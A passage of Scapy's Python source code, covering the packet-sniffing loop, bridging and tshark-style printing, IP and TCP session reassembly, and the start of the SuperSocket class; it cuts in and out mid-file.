sniff_sockets[_RL2(iface)(type=ETH_P_ALL, iface=iface,\n                                          **karg)] = iface\n\n        # Get select information from the sockets\n        _main_socket = next(iter(sniff_sockets))\n        select_func = _main_socket.select\n        nonblocking_socket = getattr(_main_socket, \"nonblocking_socket\", False)\n        # We check that all sockets use the same select(), or raise a warning\n        if not all(select_func == sock.select for sock in sniff_sockets):\n            warning(\"Warning: inconsistent socket types ! \"\n                    \"The used select function \"\n                    \"will be the one of the first socket\")\n\n        close_pipe = None  # type: Optional[ObjectPipe[None]]\n        if not nonblocking_socket:\n            # select is blocking: Add special control socket\n            from scapy.automaton import ObjectPipe\n            close_pipe = ObjectPipe[None](\"control_socket\")\n            sniff_sockets[close_pipe] = \"control_socket\"  # type: ignore\n\n            def stop_cb():\n                # type: () -> None\n                if self.running and close_pipe:\n                    close_pipe.send(None)\n                self.continue_sniff = False\n            self.stop_cb = stop_cb\n        else:\n            # select is non blocking\n            def stop_cb():\n                # type: () -> None\n                self.continue_sniff = False\n            self.stop_cb = stop_cb\n\n        try:\n            self.continue_sniff = True\n            if started_callback:\n                started_callback()\n\n            # Start timeout\n            if timeout is not None:\n                stoptime = time.monotonic() + timeout\n            remain = None\n\n            while sniff_sockets and self.continue_sniff:\n                if timeout is not None:\n                    remain = stoptime - time.monotonic()\n                    if remain <= 0:\n                        break\n                sockets = select_func(list(sniff_sockets.keys()), remain)\n                dead_sockets = []\n                for s in sockets:\n                    if s is close_pipe:  # type: ignore\n                        break\n                    # The session object is passed the socket to call recv() on,\n                    # and may perform additional processing (ip defrag, etc.)\n                    try:\n                        packets = session.recv(s)\n                        # A session can return multiple objects\n                        for p in packets:\n                            if lfilter and not lfilter(p):\n                                continue\n                            p.sniffed_on = sniff_sockets.get(s, None)\n                            # post-processing\n                            self.count += 1\n                            if store:\n                                lst.append(p)\n                            if prn:\n                                result = prn(p)\n                                if result is not None:\n                                    print(result)\n                            # check\n                            if (stop_filter and stop_filter(p)) or \\\n                                    (0 < count <= self.count):\n                                self.continue_sniff = False\n                                break\n                    except EOFError:\n                        # End of stream\n                        try:\n                            s.close()\n                        except Exception:\n                            pass\n                        dead_sockets.append(s)\n                        continue\n                    except Exception as ex:\n                        msg = \" It was closed.\"\n                        try:\n                            # Make sure it's closed\n                            s.close()\n                        except Exception as ex2:\n                            msg = \" close() failed with '%s'\" % ex2\n                        warning(\n                            \"Socket %s failed with '%s'.\" % (s, ex) + msg\n                        )\n                        dead_sockets.append(s)\n                        if conf.debug_dissector >= 2:\n                            raise\n                        continue\n                # Removed dead sockets\n                for s in dead_sockets:\n                    del sniff_sockets[s]\n                    if len(sniff_sockets) == 1 and \\\n                            close_pipe in sniff_sockets:  # type: ignore\n                        # Only the close_pipe left\n                        del sniff_sockets[close_pipe]  # type: ignore\n        except KeyboardInterrupt:\n            if chainCC:\n                raise\n        self.running = False\n        if opened_socket is None:\n            for s in sniff_sockets:\n                s.close()\n        elif close_pipe:\n            close_pipe.close()\n        self.results = PacketList(lst, \"Sniffed\")\n\n    def start(self):\n        # type: () -> None\n        \"\"\"Starts AsyncSniffer in async mode\"\"\"\n        self._setup_thread()\n        if self.thread:\n            self.thread.start()\n\n    def stop(self, join=True):\n        # type: (bool) -> Optional[PacketList]\n        \"\"\"Stops AsyncSniffer if not in async mode\"\"\"\n        if self.running:\n            self.stop_cb()\n            if not hasattr(self, \"continue_sniff\"):\n                # Never started -> is there an exception?\n                if self.exception is not None:\n                    raise self.exception\n                return None\n            if self.continue_sniff:\n                raise Scapy_Exception(\n                    \"Unsupported (offline or unsupported socket)\"\n                )\n            if join:\n                self.join()\n                return self.results\n            return None\n        else:\n            raise Scapy_Exception(\"Not running ! (check .running attr)\")\n\n    def join(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        if self.thread:\n            self.thread.join(*args, **kwargs)\n        if self.exception is not None:\n            raise self.exception\n\n\n@conf.commands.register\ndef sniff(*args, **kwargs):\n    # type: (*Any, **Any) -> PacketList\n    sniffer = AsyncSniffer()\n    sniffer._run(*args, **kwargs)\n    return cast(PacketList, sniffer.results)\n\n\nsniff.__doc__ = AsyncSniffer.__doc__\n\n\n@conf.commands.register\ndef bridge_and_sniff(if1,  # type: _GlobInterfaceType\n                     if2,  # type: _GlobInterfaceType\n                     xfrm12=None,  # type: Optional[Callable[[Packet], Union[Packet, bool]]]  # noqa: E501\n                     xfrm21=None,  # type: Optional[Callable[[Packet], Union[Packet, bool]]]  # noqa: E501\n                     prn=None,  # type: Optional[Callable[[Packet], Any]]\n                     L2socket=None,  # type: Optional[Type[SuperSocket]]\n                     *args,  # type: Any\n                     **kargs  # type: Any\n                     ):\n    # type: (...) -> PacketList\n    \"\"\"Forward traffic between interfaces if1 and if2, sniff and return\n    the exchanged packets.\n\n    :param if1: the interfaces to use (interface names or opened sockets).\n    :param if2:\n    :param xfrm12: a function to call when forwarding a packet from if1 to\n        if2. If it returns True, the packet is forwarded as it. If it\n        returns False or None, the packet is discarded. If it returns a\n        packet, this packet is forwarded instead of the original packet\n        one.\n    :param xfrm21: same as xfrm12 for packets forwarded from if2 to if1.\n\n    The other arguments are the same than for the function sniff(),\n    except for offline, opened_socket and iface that are ignored.\n    See help(sniff) for more.\n    \"\"\"\n    for arg in ['opened_socket', 'offline', 'iface']:\n        if arg in kargs:\n            log_runtime.warning(\"Argument %s cannot be used in \"\n                                \"bridge_and_sniff() -- ignoring it.\", arg)\n            del kargs[arg]\n\n    def _init_socket(iface,  # type: _GlobInterfaceType\n                     count,  # type: int\n                     L2socket=L2socket  # type: Optional[Type[SuperSocket]]\n                     ):\n        # type: (...) -> Tuple[SuperSocket, _GlobInterfaceType]\n        if isinstance(iface, SuperSocket):\n            return iface, \"iface%d\" % count\n        else:\n            if not L2socket:\n                iface = resolve_iface(iface or conf.iface)\n                L2socket = iface.l2socket()\n            return L2socket(iface=iface), iface\n    sckt1, if1 = _init_socket(if1, 1)\n    sckt2, if2 = _init_socket(if2, 2)\n    peers = {if1: sckt2, if2: sckt1}\n    xfrms = {}\n    if xfrm12 is not None:\n        xfrms[if1] = xfrm12\n    if xfrm21 is not None:\n        xfrms[if2] = xfrm21\n\n    def prn_send(pkt):\n        # type: (Packet) -> None\n        try:\n            sendsock = peers[pkt.sniffed_on or \"\"]\n        except KeyError:\n            return\n        if pkt.sniffed_on in xfrms:\n            try:\n                _newpkt = xfrms[pkt.sniffed_on](pkt)\n            except Exception:\n                log_runtime.warning(\n                    'Exception in transformation function for packet [%s] '\n                    'received on %s -- dropping',\n                    pkt.summary(), pkt.sniffed_on, exc_info=True\n                )\n                return\n            else:\n                if isinstance(_newpkt, bool):\n                    if not _newpkt:\n                        return\n                    newpkt = pkt\n                else:\n                    newpkt = _newpkt\n        else:\n            newpkt = pkt\n        try:\n            sendsock.send(newpkt)\n        except Exception:\n            log_runtime.warning('Cannot forward packet [%s] received on %s',\n                                pkt.summary(), pkt.sniffed_on, exc_info=True)\n    if prn is None:\n        prn = prn_send\n    else:\n        prn_orig = prn\n\n        def prn(pkt):\n            # type: (Packet) -> Any\n            prn_send(pkt)\n            return prn_orig(pkt)\n\n    return sniff(opened_socket={sckt1: if1, sckt2: if2}, prn=prn,\n                 *args, **kargs)\n\n\n@conf.commands.register\ndef tshark(*args, **kargs):\n    # type: (Any, Any) -> None\n    \"\"\"Sniff packets and print them calling pkt.summary().\n    This tries to replicate what text-wireshark (tshark) would look like\"\"\"\n\n    if 'iface' in kargs:\n        iface = kargs.get('iface')\n    elif 'opened_socket' in kargs:\n        iface = cast(SuperSocket, kargs.get('opened_socket')).iface\n    else:\n        iface = conf.iface\n    print(\"Capturing on '%s'\" % iface)\n\n    # This should be a nonlocal variable, using a mutable object\n    # for Python 2 compatibility\n    i = [0]\n\n    def _cb(pkt):\n        # type: (Packet) -> None\n        print(\"%5d\\t%s\" % (i[0], pkt.summary()))\n        i[0] += 1\n\n    sniff(prn=_cb, store=False, *args, **kargs)\n    print(\"\\n%d packet%s captured\" % (i[0], 's' if i[0] > 1 else ''))\n"
  },
  {
    "path": "scapy/sessions.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nSessions: decode flow of packets when sniffing\n\"\"\"\n\nfrom collections import defaultdict\nimport socket\nimport struct\n\nfrom scapy.compat import orb\nfrom scapy.config import conf\nfrom scapy.packet import Packet\nfrom scapy.pton_ntop import inet_pton\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    DefaultDict,\n    Dict,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    cast,\n    TYPE_CHECKING,\n)\nfrom scapy.compat import Self\nif TYPE_CHECKING:\n    from scapy.supersocket import SuperSocket\n\n\nclass DefaultSession(object):\n    \"\"\"Default session: no stream decoding\"\"\"\n\n    def __init__(self, supersession: Optional[Self] = None):\n        if supersession and not isinstance(supersession, DefaultSession):\n            supersession = supersession()\n        self.supersession = supersession\n\n    def process(self, pkt: Packet) -> Optional[Packet]:\n        \"\"\"\n        Called to pre-process the packet\n        \"\"\"\n        # Optionally handle supersession\n        if self.supersession:\n            return self.supersession.process(pkt)\n        return pkt\n\n    def recv(self, sock: 'SuperSocket') -> Iterator[Packet]:\n        \"\"\"\n        Will be called by sniff() to ask for a packet\n        \"\"\"\n        pkt = sock.recv()\n        if not pkt:\n            return\n        pkt = self.process(pkt)\n        if pkt:\n            yield pkt\n\n\nclass IPSession(DefaultSession):\n    \"\"\"Defragment IP packets 'on-the-flow'.\n\n    Usage:\n    >>> sniff(session=IPSession)\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        DefaultSession.__init__(self, *args, **kwargs)\n        self.fragments = defaultdict(list)  # type: DefaultDict[Tuple[Any, ...], List[Packet]]  # noqa: E501\n\n    def process(self, packet: Packet) -> Optional[Packet]:\n        from scapy.layers.inet import IP, _defrag_ip_pkt\n        if not packet:\n            return None\n        if IP not in packet:\n            return packet\n        return _defrag_ip_pkt(packet, self.fragments)[1]  # type: ignore\n\n\nclass StringBuffer(object):\n    \"\"\"StringBuffer is an object used to re-order data received during\n    a TCP transmission.\n\n    Each TCP fragment contains a sequence number, which marks\n    (relatively to the first sequence number) the index of the data contained\n    in the fragment.\n\n    If a TCP fragment is missed, this class will fill the missing space with\n    zeros.\n    \"\"\"\n\n    def __init__(self):\n        # type: () -> None\n        self.content = bytearray(b\"\")\n        self.content_len = 0\n        self.noff = 0  # negative offset\n        self.incomplete = []  # type: List[Tuple[int, int]]\n\n    def append(self, data: bytes, seq: Optional[int] = None) -> None:\n        if not data:\n            return\n        data_len = len(data)\n        if seq is None:\n            seq = self.content_len\n        seq = seq - 1 - self.noff\n        if seq < 0:\n            # Data is located before the start of the current buffer\n            # (e.g. the first fragment was missing)\n            self.content = bytearray(b\"\\x00\" * (-seq)) + self.content\n            self.content_len += (-seq)\n            self.noff += seq\n            seq = 0\n        if seq + data_len > self.content_len:\n            # Data is located after the end of the current buffer\n            self.content += b\"\\x00\" * (seq - self.content_len + data_len)\n            # As data was missing, mark it.\n            # self.incomplete.append((self.content_len, seq))\n            self.content_len = seq + data_len\n            assert len(self.content) == self.content_len\n        # XXX removes empty space marker.\n        # for ifrag in self.incomplete:\n        #     if [???]:\n        #         self.incomplete.remove([???])\n        memoryview(self.content)[seq:seq + data_len] = data\n\n    def shiftleft(self, i: int) -> None:\n        self.content = self.content[i:]\n        self.content_len -= i\n\n    def full(self):\n        # type: () -> bool\n        # Should only be true when all missing data was filled up,\n        # (or there never was missing data)\n        return bool(self)\n\n    def clear(self):\n        # type: () -> None\n        self.__init__()  # type: ignore\n\n    def __bool__(self):\n        # type: () -> bool\n        return bool(self.content_len)\n    __nonzero__ = __bool__\n\n    def __len__(self):\n        # type: () -> int\n        return self.content_len\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return bytes(self.content)\n\n    def __str__(self):\n        # type: () -> str\n        return cast(str, self.__bytes__())\n\n\ndef streamcls(cls: Type[Packet]) -> Callable[\n    [bytes, Dict[str, Any], Dict[str, Any]],\n    Optional[Packet],\n]:\n    \"\"\"\n    Wraps a class for use when dissecting streams.\n    \"\"\"\n    if hasattr(cls, \"tcp_reassemble\"):\n        return cls.tcp_reassemble  # type: ignore\n    else:\n        # There is no tcp_reassemble. Just dissect the packet\n        return lambda data, *_: data and cls(data)\n\n\nclass TCPSession(IPSession):\n    \"\"\"A Session that reconstructs TCP streams.\n\n    NOTE: this has the same effect as wrapping a real socket.socket into StreamSocket,\n    but for all concurrent TCP streams (can be used on pcaps or sniffed sessions).\n\n    NOTE: only protocols that implement a ``tcp_reassemble`` function will be processed\n    by this session. Other protocols will not be reconstructed.\n\n    DEV: implement a class-function `tcp_reassemble` in your Packet class::\n\n        @classmethod\n        def tcp_reassemble(cls, data, metadata, session):\n            # data = the reassembled data from the same request/flow\n            # metadata = empty dictionary, that can be used to store data\n            #            during TCP reassembly\n            # session = a dictionary proper to the bidirectional TCP session,\n            #           that can be used to store anything\n            [...]\n            # If the packet is available, return it. Otherwise don't.\n            # Whenever you return a packet, the buffer will be discarded.\n            return pkt\n            # Otherwise, maybe store stuff in metadata, and return None,\n            # as you need additional data.\n            return None\n\n    For more details and a real example, see:\n    https://scapy.readthedocs.io/en/latest/usage.html#how-to-use-tcpsession-to-defragment-tcp-packets\n\n    :param app: Whether the socket is on application layer = has no TCP\n                layer. This is identical to StreamSocket so only use this if your\n                underlying source of data isn't a socket.socket.\n    \"\"\"\n\n    def __init__(self, app=False, *args, **kwargs):\n        # type: (bool, *Any, **Any) -> None\n        super(TCPSession, self).__init__(*args, **kwargs)\n        self.app = app\n        if app:\n            self.data = StringBuffer()\n            self.metadata = {}  # type: Dict[str, Any]\n            self.session = {}  # type: Dict[str, Any]\n        else:\n            # The StringBuffer() is used to build a global\n            # string from fragments and their seq nulber\n            self.tcp_frags = defaultdict(\n                lambda: (StringBuffer(), {})\n            )  # type: DefaultDict[bytes, Tuple[StringBuffer, Dict[str, Any]]]\n            self.tcp_sessions = defaultdict(\n                dict\n            )  # type: DefaultDict[bytes, Dict[str, Any]]\n        # Setup stopping dissection condition\n        from scapy.layers.inet import TCP\n        self.stop_dissection_after = TCP\n\n    def _get_ident(self, pkt, session=False):\n        # type: (Packet, bool) -> bytes\n        underlayer = pkt[\"TCP\"].underlayer\n        af = socket.AF_INET6 if \"IPv6\" in pkt else socket.AF_INET\n        src = underlayer and inet_pton(af, underlayer.src) or b\"\"\n        dst = underlayer and inet_pton(af, underlayer.dst) or b\"\"\n        if session:\n            # Bidirectional\n            def xor(x, y):\n                # type: (bytes, bytes) -> bytes\n                return bytes(orb(a) ^ orb(b) for a, b in zip(x, y))\n            return struct.pack(\"!4sH\", xor(src, dst), pkt.dport ^ pkt.sport)\n        else:\n            # Uni-directional\n            return src + dst + struct.pack(\"!HH\", pkt.dport, pkt.sport)\n\n    def _strip_padding(self, pkt: Packet) -> Optional[bytes]:\n        \"\"\"Strip the packet of any padding, and return the padding.\n        \"\"\"\n        if isinstance(pkt, conf.padding_layer):\n            return cast(bytes, pkt.load)\n        pad = pkt.getlayer(conf.padding_layer)\n        if pad is not None and pad.underlayer is not None:\n            # strip padding\n            del pad.underlayer.payload\n            return cast(bytes, pad.load)\n        return None\n\n    def process(self,\n                pkt: Packet,\n                cls: Optional[Type[Packet]] = None) -> Optional[Packet]:\n        \"\"\"Process each packet: matches the TCP seq/ack numbers\n        to follow the TCP streams, and orders the fragments.\n        \"\"\"\n        packet = None  # type: Optional[Packet]\n        if self.app:\n            # Special mode: Application layer. Use on top of TCP\n            self.data.append(bytes(pkt))\n            if cls is None and not isinstance(pkt, bytes):\n                cls = pkt.__class__\n            if \"tcp_reassemble\" in self.metadata:\n                tcp_reassemble = self.metadata[\"tcp_reassemble\"]\n            elif cls is not None:\n                self.metadata[\"tcp_reassemble\"] = tcp_reassemble = streamcls(cls)\n            else:\n                return None\n            if self.data.full():\n                packet = tcp_reassemble(\n                    bytes(self.data),\n                    self.metadata,\n                    self.session,\n                )\n            if packet:\n                padding = self._strip_padding(packet)\n                if padding:\n                    # There is remaining data for the next payload.\n                    self.data.shiftleft(len(self.data) - len(padding))\n                    # Skip full-padding\n                    if isinstance(packet, conf.padding_layer):\n                        return None\n                else:\n                    # No padding (data) left. Clear\n                    self.data.clear()\n                self.metadata.clear()\n                return packet\n            return None\n\n        _pkt = super(TCPSession, self).process(pkt)\n        if _pkt is None:\n            return None\n        else:  # Python 3.8 := would be nice\n            pkt = _pkt\n\n        from scapy.layers.inet import IP, TCP\n        if not pkt:\n            return None\n        if TCP not in pkt:\n            return pkt\n        pay = pkt[TCP].payload\n        new_data = pay.original\n        # Match packets by a unique TCP identifier\n        ident = self._get_ident(pkt)\n        data, metadata = self.tcp_frags[ident]\n        tcp_session = self.tcp_sessions[self._get_ident(pkt, True)]\n        # Handle TCP sequence numbers\n        seq = pkt[TCP].seq\n        if \"seq\" not in metadata:\n            metadata[\"seq\"] = seq\n        if \"next_seq\" in metadata and seq < metadata[\"next_seq\"]:\n            # Retransmitted data (that we already returned)\n            new_data = new_data[metadata[\"next_seq\"] - seq:]\n            if not new_data:\n                return None\n            seq = metadata[\"next_seq\"]\n        # Let's guess which class is going to be used\n        if \"pay_class\" not in metadata:\n            metadata[\"pay_class\"] = pay_class = pkt[TCP].guess_payload_class(new_data)\n            metadata[\"tcp_reassemble\"] = tcp_reassemble = streamcls(pay_class)\n        else:\n            tcp_reassemble = metadata[\"tcp_reassemble\"]\n\n        if pay:\n            # Get a relative sequence number for a storage purpose\n            relative_seq = metadata.get(\"relative_seq\", None)\n            if relative_seq is None:\n                relative_seq = metadata[\"relative_seq\"] = seq - 1\n            seq = seq - relative_seq\n            # Add the data to the buffer\n            data.append(new_data, seq)\n\n        # Check TCP FIN or TCP RESET\n        if pkt[TCP].flags.F or pkt[TCP].flags.R:\n            metadata[\"tcp_end\"] = True\n        elif not pay:\n            # If there's no payload and the stream isn't ending, ignore.\n            return pkt\n\n        # In case any app layer protocol requires it,\n        # allow the parser to inspect TCP PSH flag\n        if pkt[TCP].flags.P:\n            metadata[\"tcp_psh\"] = True\n        # XXX TODO: check that no empty space is missing in the buffer.\n        # XXX Currently, if a TCP fragment was missing, we won't notice it.\n        if data.full():\n            # Reassemble using all previous packets\n            metadata[\"original\"] = pkt\n            metadata[\"ident\"] = ident\n            packet = tcp_reassemble(\n                bytes(data),\n                metadata,\n                tcp_session\n            )\n        # Stack the result on top of the previous frames\n        if packet:\n            if \"seq\" in metadata:\n                pkt[TCP].seq = metadata[\"seq\"]\n            # Clear TCP reassembly metadata\n            metadata.clear()\n            # Check for padding\n            padding = self._strip_padding(packet)\n            while padding:\n                # There is remaining data for the next payload.\n                full_length = data.content_len - len(padding)\n                metadata[\"relative_seq\"] = relative_seq + full_length\n                data.shiftleft(full_length)\n                # There might be a sub-payload hidden in the padding\n                sub_packet = tcp_reassemble(\n                    bytes(data),\n                    metadata,\n                    tcp_session\n                )\n                if sub_packet:\n                    packet /= sub_packet\n                    padding = self._strip_padding(sub_packet)\n                else:\n                    break\n            else:\n                # No padding (data) left. Clear\n                data.clear()\n                del self.tcp_frags[ident]\n            # Minimum next seq\n            metadata[\"next_seq\"] = pkt[TCP].seq + len(new_data)\n            # Skip full-padding\n            if isinstance(packet, conf.padding_layer):\n                return None\n            # Rebuild resulting packet\n            if pay:\n                pay.underlayer.remove_payload()\n            if IP in pkt:\n                pkt[IP].len = None\n                pkt[IP].chksum = None\n            pkt = pkt / packet\n            pkt.wirelen = None\n            return pkt\n        return None\n\n    def recv(self, sock: 'SuperSocket') -> Iterator[Packet]:\n        \"\"\"\n        Will be called by sniff() to ask for a packet\n        \"\"\"\n        pkt = sock.recv(stop_dissection_after=self.stop_dissection_after)\n        # Now handle TCP reassembly\n        if self.app:\n            while pkt is not None:\n                pkt = self.process(pkt)\n                if pkt:\n                    yield pkt\n                    # keep calling process as there might be more\n                    pkt = b\"\"  # type: ignore\n        else:\n            pkt = self.process(pkt)  # type: ignore\n            if pkt:\n                yield pkt\n        return None\n"
  },
  {
    "path": "scapy/supersocket.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nSuperSocket.\n\"\"\"\n\nfrom select import select, error as select_error\nimport ctypes\nimport errno\nimport socket\nimport struct\nimport time\n\nfrom scapy.config import conf\nfrom scapy.consts import DARWIN, WINDOWS\nfrom scapy.data import (\n    MTU,\n    ETH_P_IP,\n    ETH_P_IPV6,\n    SOL_PACKET,\n    SO_TIMESTAMPNS,\n)\nfrom scapy.compat import raw\nfrom scapy.error import warning, log_runtime\nfrom scapy.interfaces import network_name\nfrom scapy.packet import Packet, NoPayload\nfrom scapy.plist import (\n    PacketList,\n    SndRcvList,\n    _PacketIterable,\n)\nfrom scapy.utils import PcapReader, tcpdump\n\n# Typing imports\nfrom scapy.interfaces import _GlobInterfaceType\nfrom typing import (\n    Any,\n    Dict,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    cast,\n    TYPE_CHECKING,\n)\nfrom scapy.compat import Self\n\nif TYPE_CHECKING:\n    from scapy.ansmachine import AnsweringMachine\n\n\n# Utils\n\n\nclass _SuperSocket_metaclass(type):\n    desc = None  # type: Optional[str]\n\n    def __repr__(self):\n        # type: () -> str\n        if self.desc is not None:\n            return \"<%s: %s>\" % (self.__name__, self.desc)\n        else:\n            return \"<%s>\" % self.__name__\n\n\n# Used to get ancillary data\nPACKET_AUXDATA = 8\nETH_P_8021Q = 0x8100\nTP_STATUS_VLAN_VALID = 1 << 4\nTP_STATUS_VLAN_TPID_VALID = 1 << 6\n\n\nclass tpacket_auxdata(ctypes.Structure):\n    _fields_ = [\n        (\"tp_status\", ctypes.c_uint),\n        (\"tp_len\", ctypes.c_uint),\n        (\"tp_snaplen\", ctypes.c_uint),\n        (\"tp_mac\", ctypes.c_ushort),\n        (\"tp_net\", ctypes.c_ushort),\n        (\"tp_vlan_tci\", ctypes.c_ushort),\n        (\"tp_vlan_tpid\", ctypes.c_ushort),\n    ]  # type: List[Tuple[str, Any]]\n\n\n# SuperSocket\n\n_T = TypeVar(\"_T\", Packet, PacketList)\n\n\nclass SuperSocket(metaclass=_SuperSocket_metaclass):\n    closed = False  # type: bool\n    nonblocking_socket = False  # type: bool\n    auxdata_available = False  # type: bool\n\n    def __init__(self,\n                 family=socket.AF_INET,  # type: int\n                 type=socket.SOCK_STREAM,  # type: int\n                 proto=0,  # type: int\n                 iface=None,  # type: Optional[_GlobInterfaceType]\n                 **kwargs  # type: Any\n                 ):\n        # type: (...) -> None\n        self.ins = socket.socket(family, type, proto)  # type: socket.socket\n        self.outs = self.ins  # type: Optional[socket.socket]\n        self.promisc = conf.sniff_promisc\n        self.iface = iface or conf.iface\n\n    def send(self, x):\n        # type: (Packet) -> int\n        \"\"\"Sends a `Packet` object\n\n        :param x: `Packet` to be send\n        :return: Number of bytes that have been sent\n        \"\"\"\n        sx = raw(x)\n        try:\n            x.sent_time = time.time()\n        except AttributeError:\n            pass\n\n        if self.outs:\n            return self.outs.send(sx)\n        else:\n            return 0\n\n    if WINDOWS:\n        def _recv_raw(self, sock, x):\n            # type: (socket.socket, int) -> Tuple[bytes, Any, Optional[float]]\n            \"\"\"Internal function to receive a Packet.\n\n            :param sock: Socket object from which data are received\n            :param x: Number of bytes to be received\n            :return: Received bytes, address information and no timestamp\n            \"\"\"\n            pkt, sa_ll = sock.recvfrom(x)\n            return pkt, sa_ll, None\n    else:\n        def _recv_raw(self, sock, x):\n            # type: (socket.socket, int) -> Tuple[bytes, Any, Optional[float]]\n            \"\"\"Internal function to receive a Packet,\n            and process ancillary data.\n\n            :param sock: Socket object from which data are received\n            :param x: Number of bytes to be received\n            :return: Received bytes, address information and an optional timestamp\n            \"\"\"\n            timestamp = None\n            if not self.auxdata_available:\n                pkt, _, _, sa_ll = sock.recvmsg(x)\n                return pkt, sa_ll, timestamp\n            flags_len = socket.CMSG_LEN(4096)\n            pkt, ancdata, flags, sa_ll = sock.recvmsg(x, flags_len)\n            if not pkt:\n                return pkt, sa_ll, timestamp\n            for cmsg_lvl, cmsg_type, cmsg_data in ancdata:\n                # Check available ancillary data\n                if (cmsg_lvl == SOL_PACKET and cmsg_type == PACKET_AUXDATA):\n                    # Parse AUXDATA\n                    try:\n                        auxdata = tpacket_auxdata.from_buffer_copy(cmsg_data)\n                    except ValueError:\n                        # Note: according to Python documentation, recvmsg()\n                        #       can return a truncated message. A ValueError\n                        #       exception likely indicates that Auxiliary\n                        #       Data is not supported by the Linux kernel.\n                        return pkt, sa_ll, timestamp\n                    if auxdata.tp_vlan_tci != 0 or \\\n                            auxdata.tp_status & TP_STATUS_VLAN_VALID:\n                        # Insert VLAN tag\n                        tpid = ETH_P_8021Q\n                        if auxdata.tp_status & TP_STATUS_VLAN_TPID_VALID:\n                            tpid = auxdata.tp_vlan_tpid\n                        tag = struct.pack(\n                            \"!HH\",\n                            tpid,\n                            auxdata.tp_vlan_tci\n                        )\n                        pkt = pkt[:12] + tag + pkt[12:]\n                elif cmsg_lvl == socket.SOL_SOCKET and \\\n                        cmsg_type == SO_TIMESTAMPNS:\n                    length = len(cmsg_data)\n                    if length == 16:  # __kernel_timespec\n                        tmp = struct.unpack(\"ll\", cmsg_data)\n                    elif length == 8:  # timespec\n                        tmp = struct.unpack(\"ii\", cmsg_data)\n                    else:\n                        log_runtime.warning(\"Unknown timespec format.. ?!\")\n                        continue\n                    timestamp = tmp[0] + tmp[1] * 1e-9\n            return pkt, sa_ll, timestamp\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Returns a tuple containing (cls, pkt_data, time)\n\n\n        :param x: Maximum number of bytes to be received, defaults to MTU\n        :return: A tuple, consisting of a Packet type, the received data,\n                 and a timestamp\n        \"\"\"\n        return conf.raw_layer, self.ins.recv(x), None\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        \"\"\"Receive a Packet according to the `basecls` of this socket\n\n        :param x: Maximum number of bytes to be received, defaults to MTU\n        :return: The received `Packet` object, or None\n        \"\"\"\n        cls, val, ts = self.recv_raw(x)\n        if not val or not cls:\n            return None\n        try:\n            pkt = cls(val, **kwargs)  # type: Packet\n        except KeyboardInterrupt:\n            raise\n        except Exception:\n            if conf.debug_dissector:\n                from scapy.sendrecv import debug\n                debug.crashed_on = (cls, val)\n                raise\n            pkt = conf.raw_layer(val)\n        if ts:\n            pkt.time = ts\n        return pkt\n\n    def fileno(self):\n        # type: () -> int\n        return self.ins.fileno()\n\n    def close(self):\n        # type: () -> None\n        \"\"\"Gracefully close this socket\n        \"\"\"\n        if self.closed:\n            return\n        self.closed = True\n        if getattr(self, \"outs\", None):\n            if getattr(self, \"ins\", None) != self.outs:\n                if self.outs and self.outs.fileno() != -1:\n                    self.outs.close()\n        if getattr(self, \"ins\", None):\n            if self.ins.fileno() != -1:\n                self.ins.close()\n\n    def sr(self, *args, **kargs):\n        # type: (Any, Any) -> Tuple[SndRcvList, PacketList]\n        \"\"\"Send and Receive multiple packets\n        \"\"\"\n        from scapy import sendrecv\n        return sendrecv.sndrcv(self, *args, **kargs)\n\n    def sr1(self, *args, **kargs):\n        # type: (Any, Any) -> Optional[Packet]\n        \"\"\"Send one packet and receive one answer\n        \"\"\"\n        from scapy import sendrecv\n        # if not explicitly specified by the user,\n        # set threaded to False in sr1 to remove the overhead\n        # for a Thread creation\n        kargs.setdefault(\"threaded\", False)\n        ans = sendrecv.sndrcv(self, *args, **kargs)[0]  # type: SndRcvList\n        if len(ans) > 0:\n            pkt = ans[0][1]  # type: Packet\n            return pkt\n        else:\n            return None\n\n    def sniff(self, *args, **kargs):\n        # type: (Any, Any) -> PacketList\n        from scapy import sendrecv\n        return sendrecv.sniff(opened_socket=self, *args, **kargs)\n\n    def tshark(self, *args, **kargs):\n        # type: (Any, Any) -> None\n        from scapy import sendrecv\n        sendrecv.tshark(opened_socket=self, *args, **kargs)\n\n    def am(self,\n           cls,  # type: Type[AnsweringMachine[_T]]\n           **kwargs  # type: Any\n           ):\n        # type: (...) -> AnsweringMachine[_T]\n        \"\"\"\n        Creates an AnsweringMachine associated with this socket.\n\n        :param cls: A subclass of AnsweringMachine to instantiate\n        \"\"\"\n        return cls(opened_socket=self, socket=self, **kwargs)\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        \"\"\"This function is called during sendrecv() routine to select\n        the available sockets.\n\n        :param sockets: an array of sockets that need to be selected\n        :returns: an array of sockets that were selected and\n            the function to be called next to get the packets (i.g. recv)\n        \"\"\"\n        inp = []  # type: List[SuperSocket]\n        try:\n            inp, _, _ = select(sockets, [], [], remain)\n        except (IOError, select_error) as exc:\n            # select.error has no .errno attribute\n            if not exc.args or exc.args[0] != errno.EINTR:\n                raise\n        return inp\n\n    def __del__(self):\n        # type: () -> None\n        \"\"\"Close the socket\"\"\"\n        self.close()\n\n    def __enter__(self):\n        # type: () -> Self\n        return self\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None  # noqa: E501\n        \"\"\"Close the socket\"\"\"\n        self.close()\n\n\nif not WINDOWS:\n    class L3RawSocket(SuperSocket):\n        desc = \"Layer 3 using Raw sockets (PF_INET/SOCK_RAW)\"\n\n        def __init__(self,\n                     